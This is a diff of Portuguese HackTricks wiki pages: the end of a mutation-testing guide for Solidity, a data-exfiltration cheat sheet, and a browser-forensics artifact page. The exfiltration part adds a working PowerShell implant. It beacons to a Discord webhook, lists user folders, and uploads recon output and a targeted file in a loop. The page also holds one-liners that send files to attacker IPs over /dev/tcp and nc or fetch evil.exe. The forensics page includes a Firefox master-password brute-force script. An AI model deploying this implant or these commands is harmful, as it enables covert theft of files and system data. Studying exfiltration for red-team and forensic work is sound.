Requisitos: Slither v0.10.2+.
- Listar opções e mutadores:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Exemplo Foundry (capturar resultados e manter um log completo):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Se você não usar Foundry, substitua `--test-cmd` pela forma como executa os testes (por exemplo, `npx hardhat test`, `npm test`).
Artefatos e relatórios são armazenados em `./mutation_campaign` por padrão. Mutantes não capturados (sobreviventes) são copiados para lá para inspeção.
### Entendendo a saída
Linhas do relatório ficam assim:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- A tag entre colchetes é o alias do mutador (por exemplo, `CR` = Comment Replacement).
- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → asserção faltando.
## Reduzindo o tempo de execução: priorize mutantes impactantes
Campanhas de mutação podem levar horas ou dias. Dicas para reduzir custo:
- Escopo: comece apenas com contratos/diretórios críticos, depois expanda.
- Priorize mutadores: se um mutante de alta prioridade em uma linha sobreviver (p.ex., linha inteira comentada), você pode pular variantes de prioridade menor para essa linha.
- Paralelize testes se seu runner permitir; faça cache de dependências/builds.
- Fail-fast: pare cedo quando uma mudança demonstrar claramente uma lacuna de asserção.
## Fluxo de triagem para mutantes sobreviventes
1) Inspecione a linha mutada e o comportamento.
- Reproduza localmente aplicando a linha mutada e executando um teste focado.
2) Fortaleça os testes para afirmar o estado, não apenas valores de retorno.
- Adicione checagens de igualdade/limite (p.ex., teste de limiar `==`).
- Asserte pós-condições: saldos, total supply, efeitos de autorização e eventos emitidos.
3) Substitua mocks excessivamente permissivos por comportamento realista.
- Garanta que os mocks imponham transferências, caminhos de falha e emissões de eventos que ocorrem on-chain.
4) Adicione invariantes para fuzz tests.
- Ex.: conservação de valor, saldos não-negativos, invariantes de autorização, supply monotônico quando aplicável.
5) Execute novamente slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente.
## Estudo de caso: revelando asserções de estado ausentes (Arkis protocol)
Uma campanha de mutação durante uma auditoria do protocolo Arkis DeFi revelou sobreviventes como:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Comentar a atribuição não quebrou os testes, comprovando a falta de assertivas de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar as transferências reais de tokens. Um atacante poderia dessincronizar transferências esperadas vs. reais para drenar fundos. Resultado: risco de alta severidade à solvência do protocolo.
Guidance: Trate mutantes sobreviventes que afetam transferências de valor, contabilidade ou controle de acesso como alto risco até serem eliminados.
## Checklist prático
- Execute uma campanha direcionada:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Classifique os mutantes sobreviventes e escreva testes/invariantes que falhariam sob o comportamento mutado.
- Asserte saldos, supply, autorizações e eventos.
- Adicione testes de fronteira (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Substitua mocks irrealistas; simule modos de falha.
- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e justificativas.
## Referências
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# Exfiltração
# Exfiltration
{{#include ../banners/hacktricks-training.md}}
## Domínios comumente liberados para exfiltrar informações
## Domínios comumente whitelisted para exfiltrate informações
Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente liberados que podem ser abusados
Consulte [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente whitelisted que podem ser abusados
## Copiar\&Colar Base64
## Copy\&Paste Base64
**Linux**
```bash
@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Upload de arquivos
### Enviar arquivos
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer imprimindo GET e POSTs (também cabeçalhos)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Módulo Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -100,6 +100,91 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) para C2 & Data Exfiltration
Webhooks são endpoints HTTPS somente-gravação que aceitam JSON e partes de arquivo opcionais. Eles são comumente permitidos para domínios SaaS confiáveis e não exigem chaves OAuth/API, tornando-os úteis para beaconing de baixa fricção e exfiltration.
Key ideas:
- Endpoint: o Discord usa https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data com uma parte chamada payload_json contendo {"content":"..."} e parte(s) de arquivo opcionais chamadas file.
- Padrão de loop do operador: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirmam a entrega.
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
Notas:
- Padrões semelhantes se aplicam a outras plataformas de colaboração (Slack/Teams) que usam seus incoming webhooks; ajuste a URL e o esquema JSON conforme necessário.
- Para DFIR de artefatos de cache do Discord Desktop e recuperação de webhook/API, consulte:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### Servidor FTP (python)
@ -107,7 +192,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Servidor FTP (NodeJS)
### FTP server (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
@ -130,7 +215,7 @@ mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Cliente** Windows
### **Windows** cliente
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
```
## SCP
O atacante deve ter o SSHd em execução.
O atacante precisa que o SSHd esteja em execução.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Se a vítima tiver SSH, o atacante pode montar um diretório da vítima para o atacante.
Se a vítima tiver SSH, o atacante pode montar um diretório da vítima na máquina do atacante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -199,14 +284,14 @@ nc -vn <IP> 4444 < exfil_file
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Fazer upload de arquivo para a vítima
### Enviar arquivo para a vítima
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
graças a **@BinaryShadow\_**
Agradecimentos a **@BinaryShadow\_**
## **ICMP**
```bash
@ -228,15 +313,15 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Se você pode enviar dados para um servidor SMTP, pode criar um SMTP para receber os dados com python:
Se você pode enviar dados para um servidor SMTP, você pode criar um servidor SMTP para receber os dados com python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Por padrão no XP e 2003 (em outros, precisa ser adicionado explicitamente durante a instalação)
Por padrão no XP e 2003 (em outros é necessário adicioná-lo explicitamente durante a instalação)
No Kali, **inicie o servidor TFTP**:
No Kali, **start TFTP server**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
@ -248,13 +333,13 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Em **vítima**, conecte-se ao servidor Kali:
No **victim**, conecte-se ao servidor Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Baixe um arquivo com um oneliner PHP:
Baixe um arquivo com um oneliner em PHP:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
O programa `debug.exe` não apenas permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex**. Isso significa que, ao fornecer um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante notar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**.
O programa `debug.exe` não apenas permite a inspeção de binários, mas também possui a **capacidade de reconstruí-los a partir de hex**. Isso significa que, fornecendo um hex de um binário, `debug.exe` pode gerar o arquivo binário. No entanto, é importante notar que debug.exe tem uma **limitação para montar arquivos de até 64 kb de tamanho**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Então copie e cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
Em seguida, cole o texto no shell do Windows e um arquivo chamado nc.exe será criado.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -310,4 +395,10 @@ Então copie e cole o texto no windows-shell e um arquivo chamado nc.exe será c
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## Referências
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,57 +2,57 @@
{{#include ../../../banners/hacktricks-training.md}}
## Artefatos do Navegador <a href="#id-3def" id="id-3def"></a>
## Artefatos dos Navegadores <a href="#id-3def" id="id-3def"></a>
Os artefatos do navegador incluem vários tipos de dados armazenados pelos navegadores da web, como histórico de navegação, favoritos e dados de cache. Esses artefatos são mantidos em pastas específicas dentro do sistema operacional, variando em localização e nome entre os navegadores, mas geralmente armazenando tipos de dados semelhantes.
Os artefatos do navegador incluem vários tipos de dados armazenados por navegadores web, como histórico de navegação, favoritos e dados de cache. Esses artefatos são mantidos em pastas específicas dentro do sistema operacional, variando em localização e nome entre os navegadores, mas geralmente armazenando tipos de dados similares.
Aqui está um resumo dos artefatos de navegador mais comuns:
- **Histórico de Navegação**: Rastreia as visitas do usuário a sites, útil para identificar visitas a sites maliciosos.
- **Histórico de Navegação**: Rastreia as visitas do usuário a sites, útil para identificar acessos a sites maliciosos.
- **Dados de Autocompletar**: Sugestões baseadas em pesquisas frequentes, oferecendo insights quando combinadas com o histórico de navegação.
- **Favoritos**: Sites salvos pelo usuário para acesso rápido.
- **Extensões e Complementos**: Extensões ou complementos do navegador instalados pelo usuário.
- **Cache**: Armazena conteúdo da web (por exemplo, imagens, arquivos JavaScript) para melhorar os tempos de carregamento do site, valioso para análise forense.
- **Extensões e complementos**: Extensões ou add-ons instalados no navegador pelo usuário.
- **Cache**: Armazena conteúdo web (por exemplo, imagens, arquivos JavaScript) para melhorar o tempo de carregamento de sites, valioso para análise forense.
- **Logins**: Credenciais de login armazenadas.
- **Favicons**: Ícones associados a sites, aparecendo em abas e favoritos, úteis para informações adicionais sobre as visitas do usuário.
- **Sessões do Navegador**: Dados relacionados a sessões de navegador abertas.
- **Favicons**: Ícones associados aos sites, aparecendo em abas e favoritos, úteis para informações adicionais sobre visitas do usuário.
- **Sessões do Navegador**: Dados relacionados a sessões abertas do navegador.
- **Downloads**: Registros de arquivos baixados através do navegador.
- **Dados de Formulário**: Informações inseridas em formulários da web, salvas para sugestões de preenchimento automático futuras.
- **Dados de Formulário**: Informações inseridas em formulários web, salvas para sugestões de preenchimento automático.
- **Miniaturas**: Imagens de pré-visualização de sites.
- **Custom Dictionary.txt**: Palavras adicionadas pelo usuário ao dicionário do navegador.
## Firefox
O Firefox organiza os dados do usuário dentro de perfis, armazenados em locais específicos com base no sistema operacional:
Firefox organiza os dados do usuário dentro de perfis, armazenados em locais específicos dependendo do sistema operacional:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Um arquivo `profiles.ini` dentro desses diretórios lista os perfis de usuário. Os dados de cada perfil são armazenados em uma pasta nomeada na variável `Path` dentro de `profiles.ini`, localizada no mesmo diretório que o próprio `profiles.ini`. Se a pasta de um perfil estiver faltando, pode ter sido excluída.
Um arquivo `profiles.ini` dentro desses diretórios lista os perfis de usuário. Os dados de cada perfil são armazenados em uma pasta nomeada na variável `Path` dentro de `profiles.ini`, localizada no mesmo diretório que o `profiles.ini` em si. Se a pasta de um perfil estiver ausente, ela pode ter sido excluída.
Dentro de cada pasta de perfil, você pode encontrar vários arquivos importantes:
- **places.sqlite**: Armazena histórico, favoritos e downloads. Ferramentas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) no Windows podem acessar os dados de histórico.
- Use consultas SQL específicas para extrair informações de histórico e downloads.
- **bookmarkbackups**: Contém backups de favoritos.
- **formhistory.sqlite**: Armazena dados de formulários da web.
- **handlers.json**: Gerencia manipuladores de protocolo.
- **bookmarkbackups**: Contém backups dos favoritos.
- **formhistory.sqlite**: Armazena dados de formulários web.
- **handlers.json**: Gerencia handlers de protocolo.
- **persdict.dat**: Palavras do dicionário personalizado.
- **addons.json** e **extensions.sqlite**: Informações sobre complementos e extensões instalados.
- **addons.json** e **extensions.sqlite**: Informações sobre add-ons e extensões instalados.
- **cookies.sqlite**: Armazenamento de cookies, com [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponível para inspeção no Windows.
- **cache2/entries** ou **startupCache**: Dados de cache, acessíveis através de ferramentas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **cache2/entries** ou **startupCache**: Dados de cache, acessíveis por ferramentas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Armazena favicons.
- **prefs.js**: Configurações e preferências do usuário.
- **downloads.sqlite**: Banco de dados de downloads mais antigos, agora integrado ao places.sqlite.
- **downloads.sqlite**: Banco de dados de downloads mais antigo, agora integrado ao places.sqlite.
- **thumbnails**: Miniaturas de sites.
- **logins.json**: Informações de login criptografadas.
- **key4.db** ou **key3.db**: Armazena chaves de criptografia para proteger informações sensíveis.
- **key4.db** ou **key3.db**: Armazenam chaves de criptografia para proteger informações sensíveis.
Além disso, verificar as configurações de anti-phishing do navegador pode ser feito pesquisando entradas `browser.safebrowsing` em `prefs.js`, indicando se os recursos de navegação segura estão ativados ou desativados.
Adicionalmente, verificar as configurações anti-phishing do navegador pode ser feito procurando por entradas `browser.safebrowsing` em `prefs.js`, indicando se os recursos de navegação segura estão habilitados ou desabilitados.
Para tentar descriptografar a senha mestra, você pode usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Com o seguinte script e chamada, você pode especificar um arquivo de senha para força bruta:
To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt]\
With the following script and call you can specify a password file to brute force:
```bash:brute.sh
#!/bin/bash
@ -67,63 +67,69 @@ done < $passfile
## Google Chrome
O Google Chrome armazena perfis de usuário em locais específicos com base no sistema operacional:
Google Chrome armazena perfis de usuário em locais específicos conforme o sistema operacional:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Dentro desses diretórios, a maioria dos dados do usuário pode ser encontrada nas pastas **Default/** ou **ChromeDefaultData/**. Os seguintes arquivos contêm dados significativos:
Nesses diretórios, a maior parte dos dados do usuário pode ser encontrada nas pastas **Default/** ou **ChromeDefaultData/**. Os arquivos a seguir contêm dados relevantes:
- **History**: Contém URLs, downloads e palavras-chave de pesquisa. No Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) pode ser usado para ler o histórico. A coluna "Transition Type" tem vários significados, incluindo cliques do usuário em links, URLs digitadas, envios de formulários e recarregamentos de página.
- **History**: Contém URLs, downloads e palavras-chave de busca. No Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) pode ser usado para ler o histórico. A coluna "Transition Type" tem vários significados, incluindo cliques do usuário em links, URLs digitadas, submissões de formulários e recarregamentos de página.
- **Cookies**: Armazena cookies. Para inspeção, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) está disponível.
- **Cache**: Contém dados em cache. Para inspeção, os usuários do Windows podem utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Favoritos do usuário.
- **Cache**: Armazena dados em cache. Para inspecionar, usuários Windows podem usar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
Electron-based desktop apps (e.g., Discord) também usam Chromium Simple Cache e deixam artefatos ricos no disco. Veja:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: Marcadores do usuário.
- **Web Data**: Contém histórico de formulários.
- **Favicons**: Armazena favicons de sites.
- **Login Data**: Inclui credenciais de login, como nomes de usuário e senhas.
- **Login Data**: Inclui credenciais de login como nomes de usuário e senhas.
- **Current Session**/**Current Tabs**: Dados sobre a sessão de navegação atual e abas abertas.
- **Last Session**/**Last Tabs**: Informações sobre os sites ativos durante a última sessão antes do Chrome ser fechado.
- **Extensions**: Diretórios para extensões e complementos do navegador.
- **Thumbnails**: Armazena miniaturas de sites.
- **Preferences**: Um arquivo rico em informações, incluindo configurações para plugins, extensões, pop-ups, notificações e mais.
- **Browsers built-in anti-phishing**: Para verificar se a proteção contra phishing e malware está ativada, execute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Procure por `{"enabled: true,"}` na saída.
- **Last Session**/**Last Tabs**: Informações sobre os sites ativos na última sessão antes do fechamento do Chrome.
- **Extensions**: Diretórios de extensões e add-ons do navegador.
- **Thumbnails**: Armazena miniaturas (thumbnails) dos sites.
- **Preferences**: Um arquivo rico em informações, incluindo configurações de plugins, extensões, pop-ups, notificações e mais.
- **Browsers built-in anti-phishing**: Para verificar se a proteção anti-phishing e contra malware está ativada, execute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Procure por `{"enabled: true,"}` na saída.
## **Recuperação de Dados do SQLite DB**
## **SQLite DB Data Recovery**
Como você pode observar nas seções anteriores, tanto o Chrome quanto o Firefox usam bancos de dados **SQLite** para armazenar os dados. É possível **recuperar entradas deletadas usando a ferramenta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Como pode-se observar nas seções anteriores, tanto o Chrome quanto o Firefox usam bancos de dados **SQLite** para armazenar dados. É possível **recuperar entradas deletadas usando a ferramenta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
O Internet Explorer 11 gerencia seus dados e metadados em vários locais, ajudando a separar as informações armazenadas e seus detalhes correspondentes para fácil acesso e gerenciamento.
O Internet Explorer 11 gerencia seus dados e metadados em vários locais, o que ajuda a separar a informação armazenada dos detalhes correspondentes para facilitar acesso e análise.
### Armazenamento de Metadados
### Metadata Storage
Os metadados do Internet Explorer são armazenados em `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como Skype.
Os metadados do Internet Explorer são armazenados em %userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data (com VX sendo V01, V16 ou V24). O arquivo `V01.log` pode mostrar discrepâncias de tempo de modificação em relação a `WebcacheVX.data`, indicando necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, contidos em um banco ESE, podem ser recuperados e inspecionados com ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Na tabela **Containers** é possível identificar as tabelas ou containers específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas Microsoft como Skype.
### Inspeção de Cache
### Cache Inspection
A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite a inspeção de cache, exigindo a localização da pasta de extração de dados de cache. Os metadados do cache incluem nome do arquivo, diretório, contagem de acessos, origem da URL e timestamps indicando os tempos de criação, acesso, modificação e expiração do cache.
A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite inspeção de cache, exigindo a localização da pasta com os dados de cache extraídos. Os metadados do cache incluem nome do arquivo, diretório, contador de acessos, URL de origem e timestamps indicando criação, acesso, modificação e expiração do cache.
### Gerenciamento de Cookies
### Cookies Management
Os cookies podem ser explorados usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), com metadados abrangendo nomes, URLs, contagens de acesso e vários detalhes relacionados ao tempo. Cookies persistentes são armazenados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, com cookies de sessão residindo na memória.
Cookies podem ser explorados usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), com metadados abrangendo nomes, URLs, contagens de acesso e vários detalhes temporais. Cookies persistentes são armazenados em %userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies, enquanto cookies de sessão residem na memória.
### Detalhes de Download
### Download Details
Os metadados de downloads estão acessíveis via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), com contêineres específicos armazenando dados como URL, tipo de arquivo e local de download. Arquivos físicos podem ser encontrados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Metadados de downloads são acessíveis via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), com containers específicos contendo dados como URL, tipo de arquivo e local do download. Arquivos físicos podem ser encontrados em %userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory.
### Histórico de Navegação
### Browsing History
Para revisar o histórico de navegação, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) pode ser usado, exigindo a localização dos arquivos de histórico extraídos e configuração para o Internet Explorer. Os metadados aqui incluem tempos de modificação e acesso, junto com contagens de acesso. Os arquivos de histórico estão localizados em `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Para revisar o histórico de navegação, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) pode ser usado, exigindo a localização dos arquivos de histórico extraídos e a configuração para o Internet Explorer. Os metadados aqui incluem tempos de modificação e acesso, além de contagens de acesso. Arquivos de histórico estão localizados em %userprofile%\Appdata\Local\Microsoft\Windows\History.
### URLs Digitadas
### Typed URLs
URLs digitadas e seus horários de uso são armazenados no registro sob `NTUSER.DAT` em `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando os últimos 50 URLs inseridos pelo usuário e seus últimos horários de entrada.
URLs digitadas e seus tempos de uso são armazenados no registro dentro do `NTUSER.DAT` em `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando as últimas 50 URLs inseridas pelo usuário e seus últimos horários de entrada.
## Microsoft Edge
O Microsoft Edge armazena dados do usuário em `%userprofile%\Appdata\Local\Packages`. Os caminhos para vários tipos de dados são:
O Microsoft Edge armazena dados do usuário em %userprofile%\Appdata\Local\Packages. Os caminhos para vários tipos de dados são:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -133,30 +139,31 @@ O Microsoft Edge armazena dados do usuário em `%userprofile%\Appdata\Local\Pack
## Safari
Os dados do Safari são armazenados em `/Users/$User/Library/Safari`. Os arquivos principais incluem:
Dados do Safari são armazenados em `/Users/$User/Library/Safari`. Arquivos chave incluem:
- **History.db**: Contém tabelas `history_visits` e `history_items` com URLs e timestamps de visita. Use `sqlite3` para consultar.
- **History.db**: Contém as tabelas `history_visits` e `history_items` com URLs e timestamps de visita. Use `sqlite3` para consultar.
- **Downloads.plist**: Informações sobre arquivos baixados.
- **Bookmarks.plist**: Armazena URLs marcadas.
- **Bookmarks.plist**: Armazena URLs marcadas (bookmarks).
- **TopSites.plist**: Sites mais visitados.
- **Extensions.plist**: Lista de extensões do navegador Safari. Use `plutil` ou `pluginkit` para recuperar.
- **UserNotificationPermissions.plist**: Domínios permitidos para enviar notificações. Use `plutil` para analisar.
- **Extensions.plist**: Lista de extensões do Safari. Use `plutil` ou `pluginkit` para recuperar.
- **UserNotificationPermissions.plist**: Domínios permitidos a enviar notificações. Use `plutil` para analisar.
- **LastSession.plist**: Abas da última sessão. Use `plutil` para analisar.
- **Browsers built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Uma resposta de 1 indica que o recurso está ativo.
- **Browsers built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Uma resposta de `1` indica que o recurso está ativado.
## Opera
Os dados do Opera residem em `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e compartilham o formato do Chrome para histórico e downloads.
Os dados do Opera residem em `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e seguem o mesmo formato do Chrome para histórico e downloads.
- **Browsers built-in anti-phishing**: Verifique se `fraud_protection_enabled` no arquivo Preferences está definido como `true` usando `grep`.
- **Browsers built-in anti-phishing**: Verifique se a proteção anti-phishing do navegador está ativa checando se `fraud_protection_enabled` no arquivo Preferences está definido como `true` usando `grep`.
Esses caminhos e comandos são cruciais para acessar e entender os dados de navegação armazenados por diferentes navegadores da web.
Esses caminhos e comandos são cruciais para acessar e entender os dados de navegação armazenados por diferentes navegadores web.
## Referências
## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
